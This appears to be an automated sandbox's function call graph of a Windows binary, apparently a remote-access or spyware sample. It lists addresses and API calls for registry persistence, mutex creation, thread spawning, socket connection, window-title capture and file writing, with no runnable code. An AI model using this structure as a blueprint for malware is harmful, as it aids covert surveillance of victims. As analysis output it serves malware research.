47788 413971 RegOpenKeyExW 47357->47788 47682 41bbb0 47358->47682 47360->47336 47364 40ebbf 47360->47364 47361 40ebf2 47686 401f13 47361->47686 47908 407260 98 API calls 47364->47908 47368 401f09 11 API calls 47370 40f2ea 47368->47370 47372 401f09 11 API calls 47370->47372 47374 40f2f3 47372->47374 47373 401e65 22 API calls 47375 40ec0f 47373->47375 47791 40dc90 47374->47791 47380 401e65 22 API calls 47375->47380 47379 40f2fd 47381 40ec29 47380->47381 47382 401e65 22 API calls 47381->47382 47383 40ec43 47382->47383 47384 401e65 22 API calls 47383->47384 47385 40ec5c 47384->47385 47386 40ecc9 47385->47386 47388 401e65 22 API calls 47385->47388 47387 40ecd8 47386->47387 47394 40ee54 ___scrt_fastfail 47386->47394 47389 40ece1 47387->47389 47417 40ed5d ___scrt_fastfail 47387->47417 47392 40ec71 _wcslen 47388->47392 47390 401e65 22 API calls 47389->47390 47391 40ecea 47390->47391 47393 401e65 22 API calls 47391->47393 47392->47386 47395 401e65 22 API calls 47392->47395 47396 40ecfc 47393->47396 47970 413646 RegOpenKeyExA 47394->47970 47397 40ec8c 47395->47397 47399 401e65 22 API calls 47396->47399 47400 401e65 22 API calls 47397->47400 47401 40ed0e 47399->47401 47402 40eca1 47400->47402 47404 401e65 22 API calls 47401->47404 47910 40d982 47402->47910 47403 40ee9f 47405 401e65 22 API calls 47403->47405 47406 40ed37 47404->47406 47407 40eec4 47405->47407 47411 401e65 22 API calls 47406->47411 47708 402093 47407->47708 47410 401f13 28 API calls 47413 40ecc0 47410->47413 47414 40ed48 47411->47414 47416 401f09 11 API calls 47413->47416 47968 40cd47 45 API calls _wcslen 47414->47968 47415 40eed6 47714 4136bd RegCreateKeyA 47415->47714 47416->47386 47698 413895 47417->47698 47421 40edf1 ctype 47426 401e65 22 API calls 47421->47426 47422 40ed58 47422->47417 47424 401e65 22 API calls 47425 40eef8 47424->47425 47720 43b9fc 47425->47720 47427 40ee08 47426->47427 47427->47403 47431 40ee1c 47427->47431 47430 40ef0f 47973 41cced 87 API calls ___scrt_fastfail 47430->47973 47433 401e65 22 API calls 47431->47433 47432 40ef32 47437 402093 28 API calls 47432->47437 47435 40ee25 47433->47435 47438 41bbb0 28 API calls 47435->47438 47436 40ef16 CreateThread 47436->47432 47439 40ef47 47437->47439 47440 40ee31 47438->47440 47441 402093 28 API calls 47439->47441 47969 40f3c2 104 API calls 47440->47969 47444 40ef56 47441->47444 47443 40ee36 47443->47403 47446 40ee3d 47443->47446 47724 41b441 47444->47724 47446->47328 47448 401e65 22 API calls 47449 40ef67 47448->47449 47450 401e65 22 API calls 47449->47450 47451 40ef79 47450->47451 47452 401e65 22 API calls 47451->47452 47453 40ef99 47452->47453 47454 43b9fc _strftime 40 API calls 47453->47454 47455 40efa6 47454->47455 47456 401e65 22 API calls 47455->47456 47457 40efb1 47456->47457 47458 401e65 22 API calls 47457->47458 47459 40efc2 47458->47459 47460 401e65 22 API calls 47459->47460 47461 40efd7 47460->47461 47462 401e65 22 API calls 47461->47462 47463 40efe8 47462->47463 47464 40efef StrToIntA 47463->47464 47748 409de4 47464->47748 47467 401e65 22 API calls 47468 40f00a 47467->47468 47469 40f016 47468->47469 47470 40f04f 47468->47470 47974 43443c 22 API calls 2 library calls 47469->47974 47473 401e65 22 API calls 47470->47473 47472 40f01f 47475 401e65 22 API calls 47472->47475 47474 40f05f 47473->47474 47477 40f0a7 47474->47477 47478 40f06b 47474->47478 47476 40f032 47475->47476 47479 40f039 CreateThread 47476->47479 47481 401e65 22 API calls 47477->47481 47975 43443c 22 API calls 2 library calls 47478->47975 47479->47470 47483 40f0b0 47481->47483 47482 40f074 47484 401e65 22 API calls 47482->47484 47486 40f11a 47483->47486 47487 40f0bc 47483->47487 47485 40f086 47484->47485 47489 40f08d CreateThread 47485->47489 47490 401e65 22 API calls 47486->47490 47488 401e65 22 API calls 47487->47488 47491 40f0cc 47488->47491 47489->47477 47493 40f123 47490->47493 47494 401e65 22 API calls 47491->47494 47492 40f168 47773 41b55f 47492->47773 47493->47492 47496 401e65 22 API calls 47493->47496 47497 40f0e1 47494->47497 47499 40f138 47496->47499 47976 40d936 31 API calls 47497->47976 47504 401e65 22 API calls 47499->47504 47500 401f13 28 API calls 47501 40f17c 47500->47501 47503 401f09 11 API calls 47501->47503 47506 40f185 47503->47506 47507 40f14d 47504->47507 47505 40f0f4 47508 401f13 28 API calls 47505->47508 47509 40f191 CreateThread 47506->47509 47510 40f18e SetProcessDEPPolicy 47506->47510 47517 43b9fc _strftime 40 API calls 47507->47517 47511 40f100 47508->47511 47512 40f1b2 47509->47512 47513 40f1a6 CreateThread 47509->47513 48684 40f6f5 47509->48684 47510->47509 47514 401f09 11 API calls 47511->47514 47515 40f1c7 47512->47515 47516 40f1bb CreateThread 47512->47516 47513->47512 47518 40f109 CreateThread 47514->47518 47520 40f21a 47515->47520 47522 402093 28 API calls 47515->47522 47516->47515 47519 40f15a 47517->47519 47518->47486 47977 40c0b0 6 API calls 47519->47977 47785 41344d RegOpenKeyExA 47520->47785 47523 40f1ea 47522->47523 47978 4052fd 28 API calls 47523->47978 47529 40f23b 47531 41bbb0 28 API calls 47529->47531 47532 40f24b 47531->47532 47979 413569 31 API calls 47532->47979 47537 40f261 47538 401f09 11 API calls 47537->47538 47541 40f26c 47538->47541 47539 40f294 DeleteFileW 47540 40f29b 47539->47540 47539->47541 47540->47348 47541->47348 47541->47539 47542 40f282 Sleep 47541->47542 47542->47541 47543->47214 47544->47221 47545->47231 47546->47232 47547->47234 47548->47237 47549->47241 47550->47243 47551->47245 47552->47248 47554 434f46 IsProcessorFeaturePresent 47553->47554 47555 434f44 47553->47555 47557 434f88 47554->47557 47555->47252 47560 434f4c SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 47557->47560 47559 43506b 47559->47252 47560->47559 47562 436df7 47561->47562 47562->47259 47562->47562 47564 44ef32 47563->47564 47566 44ef3b 47563->47566 47568 44ee28 49 API calls 5 library calls 47564->47568 47566->47263 47567->47263 47568->47566 47570 41cae1 LoadLibraryA GetProcAddress 47569->47570 47571 41cad1 GetModuleHandleA GetProcAddress 47569->47571 47572 41cb0a 44 API calls 47570->47572 47573 41cafa LoadLibraryA GetProcAddress 47570->47573 47571->47570 47572->47268 47573->47572 47982 41b3fa FindResourceA 47574->47982 47578 40f33b ctype 47994 4020b7 47578->47994 47581 401fe2 28 API calls 47582 40f361 47581->47582 47583 401fd8 11 API calls 47582->47583 47584 40f36a 47583->47584 47585 43bca1 new 21 API calls 47584->47585 47586 40f37b ctype 47585->47586 48000 406dd8 47586->48000 47588 40f3ae 47588->47270 47590 40210c 47589->47590 47591 4023ce 11 API calls 47590->47591 47592 402126 47591->47592 47593 402569 28 API calls 47592->47593 47594 402134 47593->47594 47594->47273 48037 4020df 47595->48037 47597 401fd8 11 API calls 47598 41be22 47597->47598 47600 401fd8 11 API calls 47598->47600 47599 41bdf2 48043 4041a2 28 API calls 47599->48043 47601 41be2a 47600->47601 47604 401fd8 11 API calls 47601->47604 47607 40e972 47604->47607 47605 41bdfe 47608 401fe2 28 API calls 47605->47608 47606 41bd80 47606->47599 47609 401fe2 28 API calls 47606->47609 47612 401fd8 11 API calls 47606->47612 47616 41bdf0 47606->47616 48041 4041a2 28 API calls 47606->48041 48042 41cd86 28 API calls 47606->48042 47617 40fa65 47607->47617 47610 41be07 47608->47610 47609->47606 47611 401fd8 11 API calls 47610->47611 47613 41be0f 47611->47613 47612->47606 48044 41cd86 28 API calls 47613->48044 47616->47597 47618 40fa71 47617->47618 47620 40fa78 47617->47620 48045 402163 11 API calls 47618->48045 47620->47278 47622 402163 47621->47622 47626 40219f 47622->47626 48046 402730 11 API calls 47622->48046 47624 402184 48047 402712 11 API calls std::_Deallocate 47624->48047 47626->47280 47628 401e6d 47627->47628 47629 401e75 47628->47629 48048 402158 22 API calls 47628->48048 47629->47285 47633 4020df 11 API calls 47632->47633 47634 40532a 47633->47634 48049 4032a0 47634->48049 47636 405346 47636->47293 48054 4051ef 47637->48054 47639 406391 48058 402055 47639->48058 47642 401fe2 47643 401ff1 47642->47643 47650 402039 47642->47650 47644 4023ce 11 API calls 47643->47644 47645 401ffa 47644->47645 47646 40203c 47645->47646 47647 402015 47645->47647 47648 40267a 11 API calls 47646->47648 48092 403098 28 API calls 47647->48092 47648->47650 47651 401fd8 47650->47651 47652 4023ce 11 API calls 47651->47652 47653 401fe1 47652->47653 47653->47305 47655 401fd2 47654->47655 47656 401fc9 47654->47656 47655->47311 48093 4025e0 28 API calls 47656->48093 48094 401fab 47658->48094 47660 40cfc1 CreateMutexA GetLastError 47660->47327 48095 41bf09 47661->48095 47666 401fe2 28 API calls 47667 41b251 47666->47667 47668 401fd8 11 API calls 47667->47668 47669 41b259 47668->47669 47670 4134f4 31 API calls 47669->47670 47672 41b2af 47669->47672 47671 41b282 47670->47671 47673 41b28d StrToIntA 47671->47673 47672->47333 47674 41b2a4 47673->47674 47675 41b29b 47673->47675 47677 401fd8 11 API calls 47674->47677 48103 41cebb 22 API calls 47675->48103 47677->47672 47679 40772a 47678->47679 47680 413497 3 API calls 47679->47680 47681 407731 47680->47681 47681->47345 47681->47346 47683 41bbc4 47682->47683 48104 40b852 47683->48104 47685 41bbcc 47685->47361 47687 401f22 47686->47687 47688 401f6a 47686->47688 47689 402252 11 API calls 47687->47689 47695 401f09 47688->47695 47690 401f2b 47689->47690 47691 401f6d 47690->47691 47693 401f46 47690->47693 48137 402336 47691->48137 48136 40305c 28 API calls 47693->48136 47696 402252 11 API calls 47695->47696 47697 401f12 47696->47697 47697->47373 47699 4138b3 47698->47699 47700 406dd8 28 API calls 47699->47700 47701 4138c8 47700->47701 47702 4020f6 28 API calls 47701->47702 47703 4138d8 47702->47703 47704 4136bd 14 API calls 47703->47704 47705 4138e2 47704->47705 47706 401fd8 11 API calls 47705->47706 47707 4138ef 47706->47707 47707->47421 47709 40209b 47708->47709 47710 4023ce 11 API calls 47709->47710 47711 4020a6 47710->47711 48141 4024ed 47711->48141 47715 41370d 47714->47715 47717 4136d6 47714->47717 47716 401fd8 11 API calls 47715->47716 47718 40eeec 47716->47718 47719 4136e8 RegSetValueExA RegCloseKey 47717->47719 47718->47424 47719->47715 47721 43ba15 _strftime 47720->47721 48145 43ad53 47721->48145 47723 40ef05 47723->47430 47723->47432 47725 41b4f2 47724->47725 47726 41b457 GetLocalTime 47724->47726 47728 401fd8 11 API calls 47725->47728 47727 40531e 28 API calls 47726->47727 47729 41b499 47727->47729 47730 41b4fa 47728->47730 47731 406383 28 API calls 47729->47731 47732 401fd8 11 API calls 47730->47732 47733 41b4a5 47731->47733 47734 40ef5b 47732->47734 48173 402f10 47733->48173 47734->47448 47737 406383 28 API calls 47738 41b4bd 47737->47738 48178 407200 77 API calls 47738->48178 47740 41b4cb 47741 401fd8 11 API calls 47740->47741 47742 41b4d7 47741->47742 47743 401fd8 11 API calls 47742->47743 47744 41b4e0 47743->47744 47745 401fd8 11 API calls 47744->47745 47746 41b4e9 47745->47746 47747 401fd8 11 API calls 47746->47747 47747->47725 47749 409e02 _wcslen 47748->47749 47750 409e24 47749->47750 47751 409e0d 47749->47751 47753 40d982 31 API calls 47750->47753 47752 40d982 31 API calls 47751->47752 47754 409e15 47752->47754 47755 409e2c 47753->47755 47756 401f13 28 API calls 47754->47756 47757 401f13 28 API calls 47755->47757 47772 409e1f 47756->47772 47758 409e3a 47757->47758 47759 401f09 11 API calls 47758->47759 47760 409e42 47759->47760 48195 40915b 28 API calls 47760->48195 47761 401f09 11 API calls 47763 409e79 47761->47763 48182 40a109 47763->48182 47764 409e54 48196 403014 47764->48196 47769 401f13 28 API calls 47770 409e69 47769->47770 47771 401f09 11 API calls 47770->47771 47771->47772 47772->47761 47774 41b582 GetUserNameW 47773->47774 48378 40417e 47774->48378 47779 403014 28 API calls 47780 41b5c4 47779->47780 47781 401f09 11 API calls 47780->47781 47782 41b5cd 47781->47782 47783 401f09 11 API calls 47782->47783 47784 40f171 47783->47784 47784->47500 47786 40f232 47785->47786 47787 41346e RegQueryValueExA RegCloseKey 47785->47787 47786->47374 47786->47529 47787->47786 47789 41398d RegDeleteValueW 47788->47789 47790 40f2e0 47788->47790 47789->47790 47790->47368 47792 40dca9 47791->47792 47793 41344d 3 API calls 47792->47793 47794 40dcb0 47793->47794 47798 40dccf 47794->47798 48472 401707 47794->48472 47796 40dcbd 48475 4137c5 RegCreateKeyA 47796->48475 47799 414e78 47798->47799 47800 4020df 11 API calls 47799->47800 47801 414e8c 47800->47801 48489 41b805 47801->48489 47804 4020df 11 API calls 47805 414ea2 47804->47805 47806 401e65 22 API calls 47805->47806 47807 414eb0 47806->47807 47808 43b9fc _strftime 40 API calls 47807->47808 47809 414ebd 47808->47809 47810 414ec2 Sleep 47809->47810 47811 414ecf 47809->47811 47810->47811 47812 402093 28 API calls 47811->47812 47813 414ede 47812->47813 47814 401e65 22 API calls 47813->47814 47815 414ee7 47814->47815 47816 4020f6 28 API calls 47815->47816 47817 414ef2 47816->47817 47818 41bd6d 28 API calls 47817->47818 47819 414efa 47818->47819 48493 40489e WSAStartup 47819->48493 47821 414f04 47822 401e65 22 API calls 47821->47822 47823 414f0d 47822->47823 47824 401e65 22 API calls 47823->47824 47849 414f8c 47823->47849 47825 414f26 47824->47825 47826 401e65 22 API calls 47825->47826 47828 414f37 47826->47828 47827 4020f6 28 API calls 47827->47849 47830 401e65 22 API calls 47828->47830 47829 41bd6d 28 API calls 47829->47849 47831 414f48 47830->47831 47834 401e65 22 API calls 47831->47834 47832 401e65 22 API calls 47832->47849 47833 406c1e 28 API calls 47833->47849 47835 414f59 47834->47835 47837 401e65 22 API calls 47835->47837 47836 401fe2 28 API calls 47836->47849 47838 414f6a 47837->47838 47839 401e65 22 API calls 47838->47839 47840 414f7c 47839->47840 48626 40473d 89 API calls 47840->48626 47842 401fd8 11 API calls 47842->47849 47844 4150da WSAGetLastError 48627 41ca33 30 API calls 47844->48627 47849->47827 47849->47829 47849->47832 47849->47833 47849->47836 47849->47842 47849->47844 47851 41b441 80 API calls 47849->47851 47853 40531e 28 API calls 47849->47853 47855 401e8d 11 API calls 47849->47855 47856 4153d8 47849->47856 47858 406383 28 API calls 47849->47858 47860 402f10 28 API calls 47849->47860 47861 402093 28 API calls 47849->47861 47864 40905c 28 API calls 47849->47864 47865 441dd1 20 API calls 47849->47865 47866 413646 3 API calls 47849->47866 47867 4134f4 31 API calls 47849->47867 47868 40417e 28 API calls 47849->47868 47873 401e65 22 API calls 47849->47873 48494 414e37 47849->48494 48499 40482d 47849->48499 48506 404f51 47849->48506 48521 4048c8 connect 47849->48521 48581 41b732 47849->48581 48584 41450b 47849->48584 48587 40dcd7 47849->48587 48593 41bb94 47849->48593 48596 41bc70 47849->48596 48600 41bae0 47849->48600 48612 404e26 WaitForSingleObject 47849->48612 48628 4052fd 28 API calls 47849->48628 47851->47849 47853->47849 47854 401e65 22 API calls 47854->47856 47855->47849 47856->47849 47856->47854 47857 43b9fc _strftime 40 API calls 47856->47857 47881 41bc70 28 API calls 47856->47881 47883 402ea1 28 API calls 47856->47883 47884 406383 28 API calls 47856->47884 47885 402f10 28 API calls 47856->47885 47887 401fd8 11 API calls 47856->47887 47888 401f09 11 API calls 47856->47888 47891 402093 28 API calls 47856->47891 47892 41b441 80 API calls 47856->47892 48629 40f81f 29 API calls 47856->48629 48630 402f31 28 API calls 47856->48630 48631 404aa1 61 API calls ctype 47856->48631 48632 404c10 112 API calls new 47856->48632 48633 40af9f 85 API calls 47856->48633 47859 415a1d Sleep 47857->47859 47858->47849 47859->47849 47860->47849 47861->47849 47864->47849 47865->47849 47866->47849 47867->47849 47868->47849 47874 415387 GetTickCount 47873->47874 47875 41bae0 28 API calls 47874->47875 47877 4153a4 47875->47877 47878 41bae0 28 API calls 47877->47878 48605 41ba38 47877->48605 48607 41b9e8 47877->48607 47878->47877 47881->47856 47883->47856 47884->47856 47885->47856 47887->47856 47888->47856 47891->47856 47892->47856 47893->47286 47894->47294 47895->47297 47898 4020df 11 API calls 47897->47898 47899 406c2a 47898->47899 47900 4032a0 28 API calls 47899->47900 47901 406c47 47900->47901 47901->47319 47903 4134c1 RegQueryValueExA RegCloseKey 47902->47903 47904 40eaf2 47902->47904 47903->47904 47904->47316 47904->47334 47905->47322 47906->47352 47907->47346 47908->47336 47909->47351 47911 401f86 11 API calls 47910->47911 47912 40d99e 47911->47912 47913 40d9f3 47912->47913 47914 40d9be 47912->47914 47915 40d9b4 47912->47915 47916 41bf09 GetCurrentProcess 47913->47916 48678 41b506 29 API calls 47914->48678 47918 40dae7 GetLongPathNameW 47915->47918 47919 40d9f8 47916->47919 47921 40417e 28 API calls 47918->47921 47922 40d9fc 47919->47922 47923 40da4e 47919->47923 47920 40d9c7 47924 401f13 28 API calls 47920->47924 47925 40dafc 47921->47925 47928 40417e 28 API calls 47922->47928 47927 40417e 28 API calls 47923->47927 47929 40d9d1 47924->47929 47926 40417e 28 API calls 47925->47926 47930 40db0b 47926->47930 47931 40da5c 47927->47931 47932 40da0a 47928->47932 47934 401f09 11 API calls 47929->47934 48681 40dd1f 28 API calls 47930->48681 47937 40417e 28 API calls 47931->47937 47938 40417e 28 API calls 47932->47938 47934->47915 47935 40db1e 48682 402fa5 28 API calls 47935->48682 47940 40da72 47937->47940 47941 40da20 47938->47941 47939 40db29 48683 402fa5 28 API calls 47939->48683 48680 402fa5 28 API calls 47940->48680 48679 402fa5 28 API calls 47941->48679 47945 40db33 47948 401f09 11 API calls 47945->47948 47946 40da7d 47949 401f13 28 API calls 47946->47949 47947 40da2b 47950 401f13 28 API calls 47947->47950 47951 40db3d 47948->47951 47952 40da88 47949->47952 47953 40da36 47950->47953 47954 401f09 11 API calls 47951->47954 47955 401f09 11 API calls 47952->47955 47956 401f09 11 API calls 47953->47956 47957 40db46 47954->47957 47958 40da91 47955->47958 47959 40da3f 47956->47959 47960 401f09 11 API calls 47957->47960 47961 401f09 11 API calls 47958->47961 47962 401f09 11 API calls 47959->47962 47963 40db4f 47960->47963 47961->47929 47962->47929 47964 401f09 11 API calls 47963->47964 47965 40db58 47964->47965 47966 401f09 11 API calls 47965->47966 47967 40db61 47966->47967 47967->47410 47968->47422 47969->47443 47971 41366c RegQueryValueExA RegCloseKey 47970->47971 47972 413690 47970->47972 47971->47972 47972->47403 47973->47436 47974->47472 47975->47482 47976->47505 47977->47492 47979->47537 47980->47341 47983 41b417 LoadResource LockResource SizeofResource 47982->47983 47984 40f32c 47982->47984 47983->47984 47985 43bca1 47984->47985 47986 446087 47985->47986 47987 4460c5 47986->47987 47989 4460b0 HeapAlloc 47986->47989 47992 446099 __Getctype 47986->47992 48004 44052d 20 API calls __dosmaperr 47987->48004 47991 4460c3 47989->47991 47989->47992 47990 4460ca 47990->47578 47991->47990 47992->47987 47992->47989 48003 442ed0 7 API calls 2 library calls 47992->48003 47995 4020bf 47994->47995 48005 4023ce 47995->48005 47997 4020ca 48009 40250a 47997->48009 47999 4020d9 47999->47581 48001 4020b7 28 API calls 48000->48001 48002 406dec 48001->48002 48002->47588 48003->47992 48004->47990 48006 402428 48005->48006 48007 4023d8 48005->48007 48006->47997 48007->48006 48016 4027a7 11 API calls std::_Deallocate 48007->48016 48010 40251a 48009->48010 48011 402520 48010->48011 48012 402535 48010->48012 48017 402569 48011->48017 48027 4028e8 28 API calls 48012->48027 48015 402533 48015->47999 48016->48006 48028 402888 48017->48028 48019 40257d 48020 402592 48019->48020 48021 4025a7 48019->48021 48033 402a34 22 API calls 48020->48033 48035 4028e8 28 API calls 48021->48035 48024 40259b 48034 4029da 22 API calls 48024->48034 48026 4025a5 48026->48015 48027->48015 48029 402890 48028->48029 48030 402898 48029->48030 48036 402ca3 22 API calls 48029->48036 48030->48019 48033->48024 48034->48026 48035->48026 48038 4020e7 48037->48038 48039 4023ce 11 API calls 48038->48039 48040 4020f2 48039->48040 48040->47606 48041->47606 48042->47606 48043->47605 48044->47616 48045->47620 48046->47624 48047->47626 48050 4032aa 48049->48050 48052 4032c9 48050->48052 48053 4028e8 28 API calls 48050->48053 48052->47636 48053->48052 48055 4051fb 48054->48055 48064 405274 48055->48064 48057 405208 48057->47639 48059 402061 48058->48059 48060 4023ce 11 API calls 48059->48060 48061 40207b 48060->48061 48088 40267a 48061->48088 48065 405282 48064->48065 48066 405288 48065->48066 48067 40529e 48065->48067 48075 4025f0 48066->48075 48069 4052f5 48067->48069 48070 4052b6 48067->48070 48085 4028a4 22 API calls std::_Xinvalid_argument 48069->48085 48074 40529c 48070->48074 48084 4028e8 28 API calls 48070->48084 48074->48057 48076 402888 22 API calls 48075->48076 48077 402602 48076->48077 48078 402672 48077->48078 48079 402629 48077->48079 48087 4028a4 22 API calls std::_Xinvalid_argument 48078->48087 48083 40263b 48079->48083 48086 4028e8 28 API calls 48079->48086 48083->48074 48084->48074 48086->48083 48089 40268b 48088->48089 48090 4023ce 11 API calls 48089->48090 48091 40208d 48090->48091 48091->47642 48092->47650 48093->47655 48096 41bf16 GetCurrentProcess 48095->48096 48097 41b223 48095->48097 48096->48097 48098 4134f4 RegOpenKeyExA 48097->48098 48099 413522 RegQueryValueExA RegCloseKey 48098->48099 48100 41354c 48098->48100 48099->48100 48101 402093 28 API calls 48100->48101 48102 413561 48101->48102 48102->47666 48103->47674 48105 40b85a 48104->48105 48110 402252 48105->48110 48107 40b865 48114 40b87a 48107->48114 48109 40b874 48109->47685 48111 40225c 48110->48111 48112 4022ac 48110->48112 48111->48112 48121 402779 11 API calls std::_Deallocate 48111->48121 48112->48107 48115 40b8b4 48114->48115 48116 40b886 48114->48116 48133 4028a4 22 API calls std::_Xinvalid_argument 48115->48133 48122 4027e6 48116->48122 48120 40b890 48120->48109 48121->48112 48123 4027ef 48122->48123 48124 402851 48123->48124 48125 4027f9 48123->48125 48135 4028a4 22 API calls std::_Xinvalid_argument 48124->48135 48128 402802 48125->48128 48130 402815 48125->48130 48134 402aea 28 API calls __EH_prolog 48128->48134 48131 402813 48130->48131 48132 402252 11 API calls 48130->48132 48131->48120 48132->48131 48134->48131 48136->47688 48138 402347 48137->48138 48139 402252 11 API calls 48138->48139 48140 4023c7 48139->48140 48140->47688 48142 4024f9 48141->48142 48143 40250a 28 API calls 48142->48143 48144 4020b1 48143->48144 48144->47415 48161 43b95a 48145->48161 48147 43ada0 48167 43a707 36 API calls 2 library calls 48147->48167 48149 43ad65 48149->48147 48150 43ad7a 48149->48150 48152 43ad7f pre_c_initialization 48149->48152 48166 44052d 20 API calls __dosmaperr 48150->48166 48152->47723 48154 43adac 48155 43addb 48154->48155 48168 43b99f 40 API calls __Toupper 48154->48168 48156 43ae47 48155->48156 48169 43b906 20 API calls 2 library calls 48155->48169 48170 43b906 20 API calls 2 library calls 48156->48170 48159 43af0e _strftime 48159->48152 48171 44052d 20 API calls __dosmaperr 48159->48171 48162 43b972 48161->48162 48163 43b95f 48161->48163 48162->48149 48172 44052d 20 API calls __dosmaperr 48163->48172 48165 43b964 pre_c_initialization 48165->48149 48166->48152 48167->48154 48168->48154 48169->48156 48170->48159 48171->48152 48172->48165 48179 401fb0 48173->48179 48175 402f1e 48176 402055 11 API calls 48175->48176 48177 402f2d 48176->48177 48177->47737 48178->47740 48180 4025f0 28 API calls 48179->48180 48181 401fbd 48180->48181 48181->48175 48183 40a127 48182->48183 48184 413497 3 API calls 48183->48184 48185 40a12e 48184->48185 48186 40a142 48185->48186 48187 40a15c 48185->48187 48188 409e9b 48186->48188 48190 40905c 28 API calls 48186->48190 48201 40905c 48187->48201 48188->47467 48192 40a155 48190->48192 48229 40a22d 28 API calls 48192->48229 48195->47764 48355 403222 48196->48355 48198 403022 48359 403262 48198->48359 48202 409072 48201->48202 48203 402252 11 API calls 48202->48203 48204 40908c 48203->48204 48230 404267 48204->48230 48206 40909a 48207 40a179 48206->48207 48242 40b83a 48207->48242 48210 40a1a2 48212 402093 28 API calls 48210->48212 48211 40a1ca 48213 402093 28 API calls 48211->48213 48214 40a1ac 48212->48214 48215 40a1d5 48213->48215 48216 41bbb0 28 API calls 48214->48216 48217 402093 28 API calls 48215->48217 48218 40a1ba 48216->48218 48219 40a1e4 48217->48219 48246 40b0b2 31 API calls new 48218->48246 48220 41b441 80 API calls 48219->48220 48222 40a1e9 CreateThread 48220->48222 48224 40a210 CreateThread 48222->48224 48225 40a204 CreateThread 48222->48225 48248 40a27d 48222->48248 48223 40a1c1 48226 401fd8 11 API calls 48223->48226 48227 401f09 11 API calls 48224->48227 48254 40a289 48224->48254 48225->48224 48251 40a267 48225->48251 48226->48211 48228 40a224 48227->48228 48228->48188 48229->48188 48231 402888 22 API calls 48230->48231 48232 40427b 48231->48232 48233 404290 48232->48233 48234 4042a5 48232->48234 48240 4042df 22 API calls 48233->48240 48236 4027e6 28 API calls 48234->48236 48239 4042a3 48236->48239 48237 404299 48241 402c48 22 API calls 48237->48241 48239->48206 48240->48237 48241->48239 48243 40b843 48242->48243 48244 40a197 48242->48244 48247 40b8ba 28 API calls 48243->48247 48244->48210 48244->48211 48246->48223 48247->48244 48257 40a674 48248->48257 48303 40a2b8 86 API calls 48251->48303 48253 40a270 48304 40ac24 48254->48304 48258 40a689 Sleep 48257->48258 48278 40a5c3 48258->48278 48260 40a286 48261 40a6da GetFileAttributesW 48266 40a69b 48261->48266 48262 40a6c9 CreateDirectoryW 48262->48266 48263 40a6f1 SetFileAttributesW 48263->48266 48264 4020df 11 API calls 48276 40a73c 48264->48276 48266->48258 48266->48260 48266->48261 48266->48262 48266->48263 48268 401e65 22 API calls 48266->48268 48266->48276 48290 41c343 48266->48290 48267 40a76b PathFileExistsW 48267->48276 48268->48266 48270 4020b7 28 API calls 48270->48276 48271 40a874 SetFileAttributesW 48271->48266 48272 406dd8 28 API calls 48272->48276 48273 401fe2 28 API calls 48273->48276 48274 401fd8 11 API calls 48274->48276 48276->48264 48276->48267 48276->48270 48276->48271 48276->48272 48276->48273 48276->48274 48277 401fd8 11 API calls 48276->48277 48300 41c3d7 32 API calls 48276->48300 48301 41c444 CreateFileW SetFilePointer CloseHandle WriteFile FindCloseChangeNotification 48276->48301 48277->48266 48279 40a670 48278->48279 48282 40a5d9 48278->48282 48279->48266 48280 40a5f8 CreateFileW 48281 40a606 GetFileSize 48280->48281 48280->48282 48281->48282 48283 40a63b CloseHandle 48281->48283 48282->48280 48282->48283 48284 40a64d 48282->48284 48285 40a630 Sleep 48282->48285 48302 40b02a 84 API calls 48282->48302 48283->48282 48284->48279 48287 40905c 28 API calls 48284->48287 48285->48283 48288 40a669 48287->48288 48289 40a179 124 API calls 48288->48289 48289->48279 48291 41c356 CreateFileW 48290->48291 48293 41c393 48291->48293 48294 41c38f 48291->48294 48295 41c3b3 WriteFile 48293->48295 48296 41c39a SetFilePointer 48293->48296 48294->48266 48298 41c3c6 48295->48298 48299 41c3c8 FindCloseChangeNotification 48295->48299 48296->48295 48297 41c3aa CloseHandle 48296->48297 48297->48294 48298->48299 48299->48294 48300->48276 48301->48276 48302->48285 48303->48253 48333 40ac32 48304->48333 48305 40a292 48306 40ac8c Sleep GetForegroundWindow GetWindowTextLengthW 48307 40b852 28 API calls 48306->48307 48307->48333 48311 41ba38 GetTickCount 48311->48333 48313 40acd2 GetWindowTextW 48313->48333 48315 401f09 11 API calls 48315->48333 48316 40ae2a 48318 401f09 11 API calls 48316->48318 48317 40b83a 28 API calls 48317->48333 48318->48305 48319 40ad97 Sleep 48319->48333 48322 402093 28 API calls 48322->48333 48323 40ad1f 48325 40905c 28 API calls 48323->48325 48323->48333 48342 40b0b2 31 API calls new 48323->48342 48325->48323 48327 406383 28 API calls 48327->48333 48329 403014 28 API calls 48329->48333 48330 41bbb0 28 API calls 48330->48333 48331 40a584 12 API calls 48331->48333 48332 401fd8 11 API calls 48332->48333 48333->48305 48333->48306 48333->48311 48333->48313 48333->48315 48333->48316 48333->48317 48333->48319 48333->48322 48333->48323 48333->48327 48333->48329 48333->48330 48333->48331 48333->48332 48334 434338 EnterCriticalSection LeaveCriticalSection WaitForSingleObjectEx __Init_thread_wait __Init_thread_footer 48333->48334 48335 401f86 48333->48335 48339 4346c2 23 API calls __onexit 48333->48339 48340 4342f9 SetEvent ResetEvent EnterCriticalSection LeaveCriticalSection __Init_thread_footer 48333->48340 48341 409044 28 API calls 48333->48341 48343 40b8ca 28 API calls 48333->48343 48344 40b696 40 API calls 2 library calls 48333->48344 48345 441dd1 48333->48345 48349 4052fd 28 API calls 48333->48349 48336 401f8e 48335->48336 48337 402252 11 API calls 48336->48337 48338 401f99 48337->48338 48338->48333 48339->48333 48340->48333 48341->48333 48342->48323 48343->48333 48344->48333 48346 441ddd 48345->48346 48350 441bcd 48346->48350 48348 441dfe 48348->48333 48351 441be4 48350->48351 48353 441c1b pre_c_initialization 48351->48353 48354 44052d 20 API calls __dosmaperr 48351->48354 48353->48348 48354->48353 48356 40322e 48355->48356 48365 403618 48356->48365 48358 40323b 48358->48198 48360 40326e 48359->48360 48361 402252 11 API calls 48360->48361 48362 403288 48361->48362 48363 402336 11 API calls 48362->48363 48364 403031 48363->48364 48364->47769 48366 403626 48365->48366 48367 40362c 48366->48367 48368 403644 48366->48368 48376 4036a6 28 API calls 48367->48376 48370 40365c 48368->48370 48371 40369e 48368->48371 48374 4027e6 28 API calls 48370->48374 48375 403642 48370->48375 48377 4028a4 22 API calls std::_Xinvalid_argument 48371->48377 48374->48375 48375->48358 48376->48375 48379 404186 48378->48379 48380 402252 11 API calls 48379->48380 48381 404191 48380->48381 48389 4041bc 48381->48389 48384 4042fc 48400 404353 48384->48400 48386 40430a 48387 403262 11 API calls 48386->48387 48388 404319 48387->48388 